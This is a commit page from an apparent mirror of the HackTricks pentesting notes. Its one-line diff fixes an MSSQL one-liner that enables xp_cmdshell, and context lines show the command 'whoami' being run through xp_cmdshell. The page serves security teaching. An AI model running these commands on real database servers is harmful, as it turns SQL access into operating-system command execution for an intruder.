mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
commit
51f984eb4a
1 changed files with 1 additions and 1 deletions
|
@ -223,7 +223,7 @@ sp_configure 'xp_cmdshell', '1'
|
||||||
RECONFIGURE
|
RECONFIGURE
|
||||||
|
|
||||||
#One liner
|
#One liner
|
||||||
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||||
|
|
||||||
# Quickly check what the service account is via xp_cmdshell
|
# Quickly check what the service account is via xp_cmdshell
|
||||||
EXEC master..xp_cmdshell 'whoami'
|
EXEC master..xp_cmdshell 'whoami'
|
||||||
|
|
Loading…
Reference in a new issue